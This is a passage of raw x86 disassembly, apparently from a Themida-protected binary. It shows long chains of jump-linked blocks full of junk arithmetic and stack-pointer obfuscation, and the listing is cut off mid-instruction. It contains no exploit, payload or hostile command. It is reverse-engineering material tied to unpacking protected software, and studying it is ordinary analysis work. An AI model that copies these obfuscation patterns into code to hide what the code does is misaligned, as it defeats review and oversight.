[esp+1Eh+var_1E], ebx mov ebx, 51D50FA2h jmp loc_56740E ; --------------------------------------------------------------------------- loc_568834: ; CODE XREF: sub_562ABA+AFA7j mov ebp, 24437798h xor ebp, 32757807h xchg edi, ebp jmp loc_56DDD2 ; --------------------------------------------------------------------------- loc_568846: ; CODE XREF: sub_562ABA-91Ej pop ebp sub edx, eax xchg eax, edx mov edx, [esp+1Ah+var_1A] jmp loc_567D74 ; --------------------------------------------------------------------------- loc_568852: ; CODE XREF: sub_562ABA+B5D6j add ecx, 7DBDACF0h sub esi, ecx jmp loc_55E3AF ; --------------------------------------------------------------------------- mov ax, word ptr [esp+1Ah+var_1A] jmp loc_56F9E0 ; --------------------------------------------------------------------------- loc_568868: ; CODE XREF: sub_562ABA+3AC2j sub edx, ebx sub edx, 3B644136h pop ebx sub edx, eax add edx, 22B2654Ch jmp loc_571BA9 ; --------------------------------------------------------------------------- loc_56887E: ; CODE XREF: sub_562ABA+B9C7j add esi, 33EF572Bh push eax mov eax, 34D82D28h add eax, 703E10C4h jmp loc_5689AB ; --------------------------------------------------------------------------- loc_568894: ; CODE XREF: sub_562ABA+BCD2j or ebx, 21702C8Ah jmp loc_56661C ; --------------------------------------------------------------------------- loc_56889F: ; CODE XREF: sub_562ABA+5BC6j push 3D34h mov [esp+36h+var_36], edi mov edi, 0 sub edi, edx xor edx, edi xor edi, edx xor edx, edi pop edi shr edx, 6 push ecx mov ecx, 2DF41481h sub ecx, 0C8F4B10Dh add edx, ecx jmp loc_560330 ; --------------------------------------------------------------------------- loc_5688CB: ; CODE XREF: sub_562ABA+71C2j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+3Ah+var_3A] pop esp pop bx push eax mov ah, 0A2h jmp loc_5681CC ; --------------------------------------------------------------------------- loc_5688E4: ; CODE XREF: sub_562ABA+99EAj and ebp, 4A2142B2h push ebx push ecx push 185D701Fh pop ecx sub ecx, 0F64303BAh mov ebx, ecx pop ecx shr ebx, 3 push 3756h mov [esp+40h+var_42+2], ecx mov ecx, 4E632693h sub ebx, ecx pop ecx dec ebx jmp loc_56F05A ; --------------------------------------------------------------------------- loc_568914: ; CODE XREF: sub_562ABA+AB6Bj push edi not [esp+40h+var_42+2] pop edi xor edi, 0B89AEA8Dh or eax, edi pop edi jmp loc_563B58 ; --------------------------------------------------------------------------- loc_568927: ; CODE XREF: sub_562ABA-6FBj push ecx mov ecx, esp add ecx, 4 jmp loc_571403 ; --------------------------------------------------------------------------- loc_568935: ; CODE XREF: sub_562ABA+20B1j pop edi add eax, 3CF4AE01h mov esi, eax jmp loc_5645F4 ; --------------------------------------------------------------------------- loc_568942: ; CODE XREF: sub_562ABA+C092j push edi mov edi, 7E71745Ch sub edi, 5CB342F4h jmp loc_56E406 ; --------------------------------------------------------------------------- loc_568953: ; CODE XREF: sub_562ABA+D070j xor ebx, [esp+0] mov esp, [esp+0] jmp loc_56BCE2 ; --------------------------------------------------------------------------- loc_56895E: ; CODE XREF: sub_56019B+3Aj add esp, 4 jmp loc_56C423 ; --------------------------------------------------------------------------- loc_568969: ; CODE XREF: sub_562ABA+F97Aj add al, ch mov ecx, [esp+0Ah+var_C+2] push ebp push esp pop ebp add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp+0] pop esp xor bl, al movzx eax, al pop dword ptr [edi+eax*4] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_568991: ; CODE XREF: sub_562ABA+D44Cj add edx, ebx sub edx, 5EE13E74h push ecx jmp loc_56C269 ; --------------------------------------------------------------------------- loc_56899F: ; CODE XREF: sub_562ABA+C217j push ebx sub esp, 4 jmp loc_56B7C4 ; --------------------------------------------------------------------------- loc_5689AB: ; CODE XREF: sub_562ABA+5DD5j or eax, 2CDD7333h xor eax, 24801703h jmp loc_56F3AC ; --------------------------------------------------------------------------- loc_5689BA: ; CODE XREF: sub_562ABA+155Aj pop edx sub esi, 70B559D9h add ebp, esi push dword ptr [esp+0] pop esi add esp, 4 push eax jmp loc_56233B ; --------------------------------------------------------------------------- loc_5689D0: ; CODE XREF: sub_562ABA+FA1Ej push edx push edi mov edi, 6D705FCEh jmp loc_56490F ; --------------------------------------------------------------------------- loc_5689DC: ; CODE XREF: sub_562ABA+8227j and esi, offset byte_4A45B7 add esi, 0D522ADFh push ebx mov ebx, esi mov edx, ebx jmp loc_570ADA ; --------------------------------------------------------------------------- loc_5689F2: ; CODE XREF: sub_562ABA-4C1j add edi, 2CEC111Bh push ebx mov ebx, 223D637Eh add ebx, 5CBD01B0h sub edi, ebx pop ebx jmp loc_5623ED ; --------------------------------------------------------------------------- loc_568A0C: ; CODE XREF: sub_562ABA+DE26j mov edx, 33F82B31h shl edx, 7 jmp loc_564585 ; --------------------------------------------------------------------------- loc_568A19: ; CODE XREF: sub_562ABA+D291j add ebx, 1 add ebx, 73B671ECh or esi, ebx pop ebx push edi mov edi, 44BF709Bh add esi, edi pop edi xor eax, esi push [esp+1Ah+var_1A] jmp loc_56E119 ; --------------------------------------------------------------------------- loc_568A3B: ; CODE XREF: sub_562ABA+566Cj push 1691h mov [esp+22h+var_22], edx mov dl, 0BDh push ebx push edx mov dl, 97h mov bl, 0EDh sub bl, 31h sub bl, dl add bl, 31h pop edx add bl, 0FFh not bl push edx mov dh, 0F4h jmp loc_568475 ; --------------------------------------------------------------------------- loc_568A61: ; CODE XREF: sub_562ABA+5720j pop eax sub ecx, 2070108Fh and eax, ecx push [esp+16h+var_16] push [esp+1Ah+var_1A] push [esp+1Eh+var_1E] pop ecx add esp, 4 add esp, 4 sub esp, 4 mov [esp+1Ah+var_1A], edi sub esp, 4 mov [esp+1Eh+var_1E], esp add [esp+1Eh+var_1E], 4 jmp loc_562371 ; --------------------------------------------------------------------------- loc_568A95: ; CODE XREF: sub_55FCA5+4C3j push esi push edx mov edx, 0FFF29AD6h mov esi, edx mov edx, [esp+26h+var_28+2] add esp, 4 mov ebx, esi pop esi add eax, ebx jmp loc_5602FA ; --------------------------------------------------------------------------- loc_568AAE: ; CODE XREF: sub_562ABA+E18Dj pop esi sub ebx, eax mov eax, [esp+1Ah+var_1A] add esp, 4 pop dword ptr [eax] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_568AC1: ; CODE XREF: sub_562ABA+A918j add ebx, 4 add ebx, 4 xchg ebx, [esp+12h+var_12] mov esp, [esp+12h+var_12] loc_568AD0: ; CODE XREF: sub_562ABA+EE39j push 7435h mov [esp+16h+var_16], ecx push ebx add [esp+1Ah+var_1A], 57BF6CA7h mov ecx, [esp+1Ah+var_1A] add esp, 4 sub ecx, 57BF6CA7h push ecx pop eax push [esp+16h+var_16] pop ecx push ebx mov ebx, esp jmp loc_57287F ; --------------------------------------------------------------------------- push [esp+1Ah+var_1A] jmp loc_56C316 ; --------------------------------------------------------------------------- loc_568B02: ; CODE XREF: sub_562ABA+7C88j shl edx, 6 jmp loc_570232 ; --------------------------------------------------------------------------- loc_568B0A: ; CODE XREF: sub_562ABA+1441j and eax, ecx push [esp+2+var_4+2] jmp loc_5726BC ; --------------------------------------------------------------------------- loc_568B14: ; CODE XREF: sub_562ABA+806Fj pop edi pop [esp+2+var_4+2] pop esp jmp loc_56A708 ; --------------------------------------------------------------------------- loc_568B1E: ; CODE XREF: sub_562ABA+752Bj push 46D0h jmp loc_5723D0 ; --------------------------------------------------------------------------- loc_568B28: ; CODE XREF: sub_562ABA+99Ej mov ebx, 7C2D61F3h push edx mov edx, 37BB1899h xor ebx, edx pop edx not ebx and ebx, 71F64CDCh jmp loc_5667F0 ; --------------------------------------------------------------------------- loc_568B43: ; CODE XREF: sub_562ABA-36D2j sub cl, 47h add cl, ah add cl, 47h pop eax push ecx add byte ptr [esp+1Eh+var_1E], 0FFh mov ecx, [esp+1Eh+var_1E] jmp loc_569AF7 ; --------------------------------------------------------------------------- loc_568B59: ; CODE XREF: sub_562ABA+EC02j neg ebp and ebp, 7CEF7079h dec ebp add ebp, 3FCB327Ch sub edx, ebp pop ebp pop esi push eax push ecx mov ecx, 1DAD2E9Fh push esi mov esi, 7B2F4990h sub ecx, esi pop esi dec ecx xor ecx, 3776180Fh or ecx, 1EBB5A5Bh not ecx xor ecx, 604400A0h jmp loc_56DF5B ; --------------------------------------------------------------------------- loc_568B96: ; CODE XREF: sub_562ABA+537Aj push [esp+3Ah+var_3A] pop ecx jmp loc_561EB3 ; --------------------------------------------------------------------------- loc_568B9F: ; CODE XREF: sub_562ABA+DB88j mov edx, 4 sub edi, 27134106h add edi, edx jmp loc_56D369 ; --------------------------------------------------------------------------- loc_568BB1: ; CODE XREF: sub_562ABA+ADADj push esi mov esi, 188754A2h sub esi, 29491859h or esi, 5E1A71B8h shr esi, 4 neg esi xor esi, 0E177C988h xor ecx, esi jmp loc_566FF5 ; --------------------------------------------------------------------------- loc_568BD5: ; CODE XREF: sub_562ABA+7BC5j add [esp+3Eh+var_3E], 4 pop esi add esi, 4 push 69CFh mov [esp+3Eh+var_3E], eax jmp loc_565DAA ; --------------------------------------------------------------------------- loc_568BED: ; CODE XREF: sub_562ABA+C04Bj xor edx, edi or edx, 1EEA0E1Eh sub edx, 1 push ebx mov ebx, 0D28CC11Fh sub edx, ebx pop ebx sub edi, 220458B5h sub edi, edx jmp loc_567E10 ; --------------------------------------------------------------------------- loc_568C0E: ; CODE XREF: sub_562ABA+11D1j not eax add eax, 2F837A17h neg eax shr eax, 6 xor eax, 49526DEFh jmp loc_56D5E1 ; --------------------------------------------------------------------------- loc_568C24: ; DATA XREF: Themida_:0055DDE0o push dword ptr [edi+38h] push [esp+3Eh+var_3E] pop ecx sub esp, 4 jmp loc_566B60 ; --------------------------------------------------------------------------- loc_568C33: ; CODE XREF: sub_562ABA-34D6j inc edi and edi, 4551AA8h not edi jmp loc_56EA27 ; --------------------------------------------------------------------------- loc_568C41: ; CODE XREF: sub_562ABA+A58Ej add [esp-18h+arg_18], esi pop esi jmp loc_571338 ; --------------------------------------------------------------------------- loc_568C4B: ; CODE XREF: sub_562ABA-9B5j shr edx, 1 jmp loc_560E87 ; --------------------------------------------------------------------------- loc_568C52: ; CODE XREF: sub_562ABA-943j sub esp, 4 jmp loc_56D722 ; --------------------------------------------------------------------------- loc_568C5A: ; CODE XREF: sub_562ABA-4564j add esp, 4 push eax jmp loc_560EE5 ; --------------------------------------------------------------------------- loc_568C66: ; CODE XREF: sub_562ABA+9EEBj add edx, 210F225h xor edx, 59322161h push ebp mov ebp, 1 add edx, ebp pop ebp add edx, 0F5A548Ch push esi mov esi, 598F5B35h jmp loc_562DF9 ; --------------------------------------------------------------------------- loc_568C8C: ; CODE XREF: sub_562ABA+484Ej push [esp+4Eh+var_4E] push [esp+52h+var_52] jmp loc_5674BF ; --------------------------------------------------------------------------- loc_568C97: ; CODE XREF: sub_562ABA-1B53j add edi, esi jmp loc_5654D6 ; --------------------------------------------------------------------------- loc_568C9E: ; CODE XREF: sub_562ABA+A27j sub esp, 4 jmp loc_55F740 ; --------------------------------------------------------------------------- loc_568CA9: ; CODE XREF: sub_562ABA+AC50j inc ah jmp loc_569EF5 ; --------------------------------------------------------------------------- loc_568CB0: ; CODE XREF: sub_562ABA+4FB1j add edx, ebx jmp loc_566CCD ; --------------------------------------------------------------------------- loc_568CB7: ; CODE XREF: sub_562ABA+C8C4j push eax mov eax, 5FD17EFEh add ebx, eax pop eax push [esp+12h+var_12] push [esp+16h+var_16] pop eax sub esp, 4 mov [esp+1Ah+var_1A], edi mov edi, esp add edi, 4 jmp loc_55FBD5 ; --------------------------------------------------------------------------- loc_568CDD: ; CODE XREF: sub_562ABA+4594j add eax, ebx pop ebx xchg eax, [esp+22h+var_22] jmp loc_56B5B0 ; --------------------------------------------------------------------------- loc_568CE8: ; CODE XREF: sub_562ABA-3E4Aj pop edx xor cl, bh pop ebx jmp loc_571E67 ; --------------------------------------------------------------------------- loc_568CF1: ; CODE XREF: sub_562ABA+5BD9j pop edx sub edx, 134D1164h sub edx, 6D054E8h sub edx, 35AB5489h add edx, ebx add edx, 35AB5489h add edx, 6D054E8h push edi mov edi, 134D1164h add edx, edi pop edi mov ebx, [esp+34h+var_36+2] jmp loc_5634EC ; --------------------------------------------------------------------------- loc_568D23: ; CODE XREF: sub_562ABA+1519j push [esp+12h+var_12] pop ebp add esp, 4 jmp loc_56EFB0 ; --------------------------------------------------------------------------- loc_568D2F: ; CODE XREF: sub_562ABA+83A5j add dword ptr [esp+0], 4 pop dword ptr [esp+0] add [esp+0Ah+var_C+2], 4 jmp loc_5726EB ; --------------------------------------------------------------------------- loc_568D42: ; CODE XREF: sub_562ABA+DF3Bj add ebx, edi push edi mov edi, 5FED07E8h jmp loc_55EED8 ; --------------------------------------------------------------------------- loc_568D4F: ; CODE XREF: sub_562ABA+71CBj mov edx, 4FF878B7h sub esi, edx pop edx pop ebx jmp loc_56B670 ; --------------------------------------------------------------------------- loc_568D5D: ; CODE XREF: sub_562ABA+FE1Bj add eax, 4 push 54B0h mov [esp+0Ah+var_C+2], ecx jmp loc_5635B7 ; --------------------------------------------------------------------------- loc_568D6F: ; CODE XREF: sub_562ABA+8234j push ebx sub esp, 4 mov [esp+12h+var_12], esi push 79E83B10h jmp loc_572BBA ; --------------------------------------------------------------------------- loc_568D83: ; CODE XREF: sub_562ABA+AC80j mov ecx, [esp+16h+var_16] push 199Bh mov [esp+1Ah+var_1A], edi jmp loc_56C03C ; --------------------------------------------------------------------------- loc_568D93: ; CODE XREF: sub_55FCA5+13Bj shl cl, 6 xor cl, 4Bh and cl, 30h push edx mov dh, 0D8h jmp loc_55EC6E ; --------------------------------------------------------------------------- loc_568DA4: ; CODE XREF: sub_562ABA+ED93j pop ebp add ebp, eax mov eax, [esp+1Ah+var_1A] add esp, 4 add ebp, 4 xchg ebp, [esp+16h+var_16] pop esp sub esp, 4 mov [esp+16h+var_16], ecx push 5A4Ah mov [esp+1Ah+var_1A], esi mov esi, edi push 5692h mov [esp+1Eh+var_1E], esi pop ecx mov esi, [esp+1Ah+var_1A] push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+1Eh+var_1E] pop esp jmp loc_56F741 ; --------------------------------------------------------------------------- loc_568DE8: ; CODE XREF: sub_562ABA+D030j sub [esp+1Ah+var_1A], 8B09B4h jmp loc_56CD30 ; --------------------------------------------------------------------------- loc_568DF4: ; CODE XREF: sub_562ABA+2D0Cj mov [esp+56h+var_56], ecx push [esp+56h+var_52] jmp loc_56EC6D ; --------------------------------------------------------------------------- loc_568E00: ; CODE XREF: sub_562ABA+D1A0j push edx mov edx, 1302ADCh jmp loc_56B017 ; --------------------------------------------------------------------------- loc_568E0B: ; CODE XREF: sub_562ABA-202Dj pop [esp+16h+var_16] pop esp xor edx, [esp+0] jmp loc_572BC1 ; --------------------------------------------------------------------------- loc_568E17: ; CODE XREF: sub_562ABA-420j pop edi push 6A1h mov [esp-0Eh+arg_8+2], edx sub esp, 4 mov [esp-0Ah+arg_4+2], eax push edx jmp loc_56C8FF ; --------------------------------------------------------------------------- loc_568E2F: ; CODE XREF: sub_562ABA+FB5Dj sub edx, esi pop esi mov ecx, [esp-0Ah+arg_4+2] jmp loc_56F535 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-0Ah+arg_4+2] push eax jmp loc_5628DE ; --------------------------------------------------------------------------- loc_568E44: ; CODE XREF: sub_562ABA+A5CFj push 2855h mov [esp+0], eax mov eax, 6C583CB9h jmp loc_55EC15 ; --------------------------------------------------------------------------- loc_568E56: ; CODE XREF: sub_562ABA+100E9j add esp, 4 sub esp, 4 mov [esp+0], ebx jmp loc_56D4D6 ; --------------------------------------------------------------------------- loc_568E67: ; CODE XREF: sub_562ABA+AE96j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_568E6C: ; CODE XREF: sub_562ABA+D250j mov edx, 64EB317Bh sub ebx, edx pop edx jmp loc_56256E ; --------------------------------------------------------------------------- loc_568E79: ; CODE XREF: sub_562ABA+817Bj add esi, 7E75B052h mov ecx, esi pop esi jmp loc_571BB2 ; --------------------------------------------------------------------------- loc_568E87: ; CODE XREF: sub_562ABA-28C3j add eax, 30FF7E8Fh push 5CA9h mov [esp+2+var_4+2], ebp push 77ED21E7h pop ebp push ebp neg [esp+6+var_8+2] jmp loc_55EDCD ; --------------------------------------------------------------------------- loc_568EA3: ; CODE XREF: sub_562ABA-336Fj push 4EC8436Ah pop eax xor eax, 3B5207DAh mov esi, eax jmp loc_56992F ; --------------------------------------------------------------------------- loc_568EB5: ; CODE XREF: sub_562ABA+B730j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_568EBA: ; CODE XREF: sub_562ABA+E93Dj pop esp jmp loc_56D0E3 ; --------------------------------------------------------------------------- loc_568EC0: ; CODE XREF: sub_562ABA-229Ej push ebx push 474Dh jmp loc_56A275 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp+3Ch+var_3E+2], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_568EDB: ; CODE XREF: sub_562ABA+5C8Fj sub edi, 50DA6511h add edi, 335E5BD8h add edi, 79225280h pop ebp push 42F6h jmp loc_56580E ; --------------------------------------------------------------------------- loc_568EF8: ; CODE XREF: sub_562ABA+B7B7j push esp jmp loc_56B0F0 ; --------------------------------------------------------------------------- loc_568EFE: ; CODE XREF: sub_562ABA+D89Dj pop edi sub edx, 4 xchg edx, [esp+32h+var_32] jmp loc_566260 ; --------------------------------------------------------------------------- loc_568F0A: ; CODE XREF: sub_562ABA+4525j sub esp, 2 mov word ptr [esp+26h+var_28+2], bx mov bl, 98h xor dl, bl jmp loc_570DA0 ; --------------------------------------------------------------------------- loc_568F1A: ; CODE XREF: sub_562ABA+B602j pop edx pop eax add esi, 4 push esi push [esp+22h+var_1E] pop esi pop [esp+22h+var_22] pop esp sub esp, 4 mov [esp+1Eh+var_1E], edx mov edx, esp push edi jmp loc_56D912 ; --------------------------------------------------------------------------- loc_568F3A: ; CODE XREF: sub_562ABA-2586j xchg edx, esi add esi, 0FFFFFFFFh add esi, 0DC9B8238h or eax, esi pop esi jmp loc_56C88B ; --------------------------------------------------------------------------- loc_568F4D: ; CODE XREF: sub_562ABA+18ACj add esi, 4C187802h jmp loc_56FBA9 ; --------------------------------------------------------------------------- loc_568F58: ; CODE XREF: sub_562ABA+10024j push ebx mov ebx, 26F87AF3h mov ebp, 63535480h xor ebp, ebx pop ebx xor ebp, 74731012h not ebp jmp loc_566411 ; --------------------------------------------------------------------------- loc_568F73: ; CODE XREF: sub_562ABA+852Bj xchg eax, [esp+14h+var_16+2] mov esp, [esp+14h+var_16+2] jmp loc_5683C9 ; --------------------------------------------------------------------------- loc_568F7E: ; CODE XREF: sub_562ABA+171j push ebx push edx mov edx, 25665208h dec edx inc edx neg edx shr edx, 5 not edx add edx, 1BB01761h mov ebx, edx pop edx or eax, ebx mov ebx, [esp+2+var_4+2] push edx mov edx, esp jmp loc_567865 ; --------------------------------------------------------------------------- loc_568FA4: ; CODE XREF: sub_562ABA+8AAFj mov [esp+6+var_8+2], ecx push [esp+6+var_4+2] push [esp+0Ah+var_C+2] pop ecx push edi mov edi, esp add edi, 4 jmp loc_56932C ; --------------------------------------------------------------------------- loc_568FBD: ; CODE XREF: sub_562ABA+B248j xor [esp+0], ebp xor ebp, [esp+0] pop esp sub esp, 4 mov [esp+0], ecx jmp loc_56B9DB ; --------------------------------------------------------------------------- loc_568FCF: ; CODE XREF: sub_562ABA+DD8Ej pop esi pop [esp+0Ah+var_C+2] jmp loc_56B661 ; --------------------------------------------------------------------------- loc_568FD8: ; CODE XREF: sub_562ABA-1A87j or esi, 6A3F3BFFh jmp loc_56A54E ; --------------------------------------------------------------------------- loc_568FE3: ; CODE XREF: sub_562ABA+B313j sub esp, 4 mov [esp+1Ah+var_1A], esi push ebx mov ebx, 4 mov esi, ebx pop ebx push edx mov edx, 4D5B100Ch shl edx, 3 jmp loc_56F421 ; --------------------------------------------------------------------------- loc_569000: ; CODE XREF: sub_562ABA-1C90j push ax mov al, 0Dh add ch, al jmp loc_561C27 ; --------------------------------------------------------------------------- loc_56900B: ; CODE XREF: sub_562ABA+E17Fj push eax mov eax, ebp mov edi, eax pop eax jmp loc_5714DE ; --------------------------------------------------------------------------- loc_569016: ; CODE XREF: sub_562ABA-159Aj or edx, 7BEB05C9h xchg esi, edx jmp loc_569259 ; --------------------------------------------------------------------------- loc_569023: ; CODE XREF: sub_562ABA+35B2j not ebx jmp loc_562557 ; --------------------------------------------------------------------------- loc_56902A: ; CODE XREF: sub_562ABA+BEC3j add ebx, 1D8D336Fh or ebx, 5AAB0681h or ebx, 8774FD3h xor ebx, 788D2413h xor ebx, 6BAA45D6h or ebp, ebx pop ebx and ebp, 29286214h dec ebp sub ebp, 2828620Fh add eax, ebp pop ebp xor eax, [esp+2+var_4+2] xor [esp+2+var_4+2], eax xor eax, [esp+2+var_4+2] pop esp add ch, 28h xor al, ch push dword ptr [esp+0] jmp loc_571941 ; --------------------------------------------------------------------------- loc_569072: ; CODE XREF: sub_562ABA+138Fj xor ecx, 0C1E7797h push esi mov esi, 733D78CAh xor esi, 7F69A3F9h add ecx, esi pop esi add ebx, ecx pop ecx add ebx, ebp sub ebx, 98E4298h pop ebp xchg ebx, [esp+1Eh+var_1E] pop esp push 2545h mov [esp+1Eh+var_1E], ebp jmp loc_572797 ; --------------------------------------------------------------------------- push 20E0h mov [esp+22h+var_22], esi push edx push 79DE3A58h push [esp+2Ah+var_2C+2] push dword ptr [esp] pop edx push 59B2h mov [esp+32h+var_32], eax mov eax, esp push ebx mov ebx, 303204C8h or ebx, 56582F83h or ebx, 7E72543Fh jmp loc_55F71C ; --------------------------------------------------------------------------- loc_5690DA: ; CODE XREF: sub_562ABA+77B6j mov esp, [esp+36h+var_36] pop ecx sub esp, 4 mov [esp+36h+var_36], edx mov edx, 614E37CBh sub ecx, edx pop edx push ebx mov ebx, esp push 32BDh mov [esp+3Ah+var_3A], ebp mov ebp, 4 add ebx, 7E5418A3h add ebx, 28D408B0h sub ebx, 36460FA7h add ebx, ebp add ebx, 36460FA7h jmp loc_5665E5 ; --------------------------------------------------------------------------- loc_56911B: ; CODE XREF: sub_562ABA+983Ej mov [esp+3Ah+var_3A], ecx jmp loc_562172 ; --------------------------------------------------------------------------- loc_569123: ; CODE XREF: sub_562ABA+DC3Bj add esp, 4 jmp loc_5616A8 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+36h+var_36] jmp loc_562E99 ; --------------------------------------------------------------------------- loc_569137: ; CODE XREF: sub_562ABA+E5FBj push ecx mov ch, al jmp loc_572626 ; --------------------------------------------------------------------------- loc_56913F: ; CODE XREF: sub_562ABA+AC33j sub eax, 3C5C5B79h add eax, 312A50AAh sub esi, eax pop eax dec esi add esi, 50043984h sub ecx, 618D4212h add ecx, esi add ecx, 618D4212h pop esi add ecx, 4 xor ecx, [esp+32h+var_32] xor [esp+32h+var_32], ecx xor ecx, [esp+32h+var_32] mov esp, [esp+32h+var_32] jmp loc_56619D ; --------------------------------------------------------------------------- loc_569179: ; CODE XREF: sub_55FCA5-14F1j xor edi, 95A8CA8Bh sub ebx, 2F2D3BCFh add ebx, edi add ebx, 2F2D3BCFh mov edi, [esp+32h+var_32] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+36h+var_36] pop esp add edx, 432118B3h add edx, ebx sub edx, 432118B3h mov ebx, [esp+32h+var_32] add esp, 4 jmp loc_55FB80 ; --------------------------------------------------------------------------- loc_5691B9: ; CODE XREF: sub_562ABA+C728j add esi, edx add esi, 7A0F2456h mov edx, [esp+0] push ecx push esp pop ecx add ecx, 4 push 191h mov [esp+36h+var_36], eax mov eax, 4 sub ecx, 70E7102Eh jmp loc_56843A ; --------------------------------------------------------------------------- loc_5691E5: ; CODE XREF: sub_562ABA+EFD5j add esp, 2 neg ch inc ch add ch, 75h push bx jmp loc_56D2D6 ; --------------------------------------------------------------------------- loc_5691F6: ; CODE XREF: sub_562ABA+AC63j sub esp, 4 mov [esp+38h+var_3A+2], edx push 59937DBFh push [esp+3Ch+var_3E+2] pop edx jmp loc_56D7E7 ; --------------------------------------------------------------------------- loc_56920D: ; CODE XREF: sub_562ABA+9106j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+3Ch+var_3E+2] jmp loc_5625FE ; --------------------------------------------------------------------------- loc_569220: ; CODE XREF: sub_55F27A+30BCj mov dl, 7Dh push 5732h jmp loc_563EB7 ; --------------------------------------------------------------------------- loc_56922C: ; CODE XREF: sub_562ABA+FD3Cj mov [esp+40h+var_42+2], ecx mov ecx, 7E255399h xor ecx, 7D161B18h and eax, ecx jmp loc_5652A5 ; --------------------------------------------------------------------------- loc_569241: ; CODE XREF: sub_562ABA-7A8j xchg esi, [esp+46h+var_46] jmp loc_56D3A1 ; --------------------------------------------------------------------------- loc_569249: ; CODE XREF: sub_562ABA-1Cj mov esi, ebx jmp loc_565D17 ; --------------------------------------------------------------------------- loc_569250: ; CODE XREF: sub_562ABA+7EBEj push [esp+26h+var_22] jmp loc_56667C ; --------------------------------------------------------------------------- loc_569259: ; CODE XREF: sub_562ABA+6564j dec esi xchg esi, edx add edx, 0CF58999Dh push 2ACDh mov [esp-6+arg_0+2], edx xor [esp-6+arg_0+2], 24E71788h jmp loc_566053 ; --------------------------------------------------------------------------- loc_569276: ; CODE XREF: sub_562ABA+CB82j mov [esp-6+arg_0+2], ecx push 18B7h push esp pop [esp+2+var_4+2] jmp loc_55FD7A ; --------------------------------------------------------------------------- loc_569287: ; CODE XREF: sub_562ABA+B914j shl edx, 4 add edx, 1C96CE9Fh add esi, edx push dword ptr [esp+0] pop edx add esp, 4 jmp loc_567363 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc byte ptr [esp-8+arg_4], al pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5692AD: ; CODE XREF: sub_55F332+29j push ebp jmp loc_56EDB3 ; --------------------------------------------------------------------------- loc_5692B3: ; CODE XREF: sub_562ABA+278Cj mov ebp, [esp+3Ah+var_3A] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+3Eh+var_3E] jmp loc_566868 ; --------------------------------------------------------------------------- loc_5692CD: ; CODE XREF: sub_562ABA-24AEj xchg eax, ecx jmp loc_570112 ; --------------------------------------------------------------------------- loc_5692D3: ; CODE XREF: sub_562ABA+D51Cj push edi jmp loc_56E0D5 ; --------------------------------------------------------------------------- loc_5692D9: ; CODE XREF: sub_562ABA+B868j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+26h+var_28+2] pop esp mov [esp+22h+var_22], esi jmp loc_563D66 ; --------------------------------------------------------------------------- loc_5692F3: ; CODE XREF: sub_55FCA5+2E4j mov esp, [esp+22h+var_22] and eax, ecx mov ecx, [esp+22h+var_22] add esp, 4 jmp loc_570718 ; --------------------------------------------------------------------------- loc_569306: ; CODE XREF: sub_562ABA+7E32j pop edx jmp loc_5664D2 ; --------------------------------------------------------------------------- loc_56930C: ; CODE XREF: sub_562ABA+97E8j push esp push [esp+1Eh+var_1E] pop eax push 209Ah mov [esp+22h+var_22], ebp mov ebp, esp add ebp, 4 jmp loc_562C71 ; --------------------------------------------------------------------------- loc_569326: ; CODE XREF: sub_562ABA+315Dj push ecx jmp loc_560505 ; --------------------------------------------------------------------------- loc_56932C: ; CODE XREF: sub_562ABA+64FEj add edi, 4 xchg edi, [esp+0] pop esp pop [esp+0Ah+var_C+2] mov esp, [esp+6+var_8+2] mov ax, word ptr [esp+6+var_8+2] push 765Ah mov [esp+0Ah+var_C+2], esi push ecx mov ecx, esp add ecx, 4 jmp loc_56A3F8 ; --------------------------------------------------------------------------- loc_569353: ; CODE XREF: sub_562ABA+6DCAj shl bl, 6 add bl, 62h mov dl, bl pop ebx shr dl, 6 push ecx jmp loc_560539 ; --------------------------------------------------------------------------- loc_569365: ; CODE XREF: sub_562ABA-381j add esi, 4 jmp loc_5667C5 ; --------------------------------------------------------------------------- loc_569370: ; CODE XREF: sub_562ABA+EB37j pop ebp neg eax shl eax, 4 shr eax, 1 jmp loc_565418 ; --------------------------------------------------------------------------- loc_56937D: ; CODE XREF: sub_562ABA+406Aj shr esi, 2 add esi, 43BA008Ah sub esi, 406D43Eh mov eax, esi mov esi, [esp+14h+var_16+2] add esp, 4 shl eax, 3 jmp loc_56420A ; --------------------------------------------------------------------------- loc_56939C: ; CODE XREF: sub_562ABA+248Cj pop [esp-8+arg_4] jmp loc_568594 ; --------------------------------------------------------------------------- loc_5693A4: ; CODE XREF: sub_562ABA+C386j add esp, 4 push ebp mov ebp, 37E36E27h jmp loc_5713FC ; --------------------------------------------------------------------------- loc_5693B2: ; CODE XREF: sub_562ABA+EA75j sub [esp-0Ch+arg_8], esi pop esi push eax mov eax, 6D930471h neg eax xor eax, 66780BCFh jmp loc_560036 ; --------------------------------------------------------------------------- loc_5693C8: ; CODE XREF: sub_562ABA+AB53j add ebp, 390E2D85h mov edi, ebp jmp loc_56242A ; --------------------------------------------------------------------------- loc_5693D5: ; CODE XREF: sub_562ABA+37E3j xor [esp-14h+arg_10], ebx xor ebx, [esp-14h+arg_10] jmp loc_561DB1 ; --------------------------------------------------------------------------- loc_5693E0: ; CODE XREF: sub_562ABA+B144j mov esp, [esp-14h+arg_10] jmp loc_56F4FB ; --------------------------------------------------------------------------- loc_5693E8: ; CODE XREF: sub_562ABA+F080j pop ebp push 30Ah mov [esp-14h+arg_10], ebx mov ebx, 6511A51h dec ebx push eax jmp loc_56FAEF ; --------------------------------------------------------------------------- loc_5693FD: ; CODE XREF: sub_562ABA+FA62j add esp, 4 xor ax, si mov si, word ptr [esp-14h+arg_10] push edx mov edx, esp add edx, 4 add edx, 